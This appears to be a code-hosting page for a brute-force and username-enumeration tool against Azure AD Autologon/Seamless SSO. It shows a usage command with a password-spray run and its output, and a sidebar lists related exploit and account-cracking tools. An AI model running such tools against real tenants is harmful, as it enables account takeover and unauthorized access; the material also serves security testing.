AzureAD_Autologon_Brute

Brute force attack tool for Azure AD Autologon

https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/

Usage:
python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1

[~/AzureAD_Autologon_Brute] # python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1
Domain is  intranet.directory
Setting password as: Password1
Reading users from file: users.txt

+-----------------------------------------+
|          AzureAD AutoLogon Brute          |
|     2021.09.30 @nyxgeek - TrustedSec      |
+-----------------------------------------+

[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1

Brute force attack tool for Azure AD Autologon/Seamless SSO

Related tags

Overview

AzureAD_Autologon_Brute

Owner

nyxgeek

LittleBrother is a simple parental control application monitoring specific processes on Linux hosts to monitor and limit the play time of children.

A proof-of-concept exploit for Log4j RCE Unauthenticated (CVE-2021-44228)

ClusterFuzz is a scalable fuzzing infrastructure that finds security and stability issues in software.

LeLeLe: A tool to simplify the application of Lattice attacks.

Cve-2021-22005-exp

hackinsta: a program to hack instagram

Malware arcane - Scripts and notes on my malware analysis journey

NexScanner is a tool which allows you to scan a website and find the admin login panel and sub-domains

A piece of software that shows a traceroute of a URL redirect path

A Modified version of TCC's Osprey poc framework......

集成crawlergo、xray、dirsearch、nmap等工具的src漏洞挖掘工具，使用docker封装运行；

A CTF2.5/MMF2 Decompiler

OpenTOTP is yet another time-based, one-time passwords (OTPs) generator/verifier inspired by RFC 6238.

Metal Gear Online 2 (MGO2) stage files decryption

Hadoop Yan ResourceManager unauthorized RCE

HatSploit native powerful payload generation and shellcode injection tool that provides support for common platforms and architectures.

SEBUAH TOOLS TERMUX CRACK AKUN FF HOMKI AKUN EPEP DAH SATU FOLLOW AE YA BROO AWOKWOK

The Devils Eye is an OSINT tool that searches the Darkweb for onion links and descriptions that match with the users query without requiring the use for Tor.

PoC of proxylogon chain SSRF(CVE-2021-26855) to write file by testanull, censored by github

Python directory buster, multiple threads, gobuster-like CLI, web server brute-forcer, URL replace pattern feature.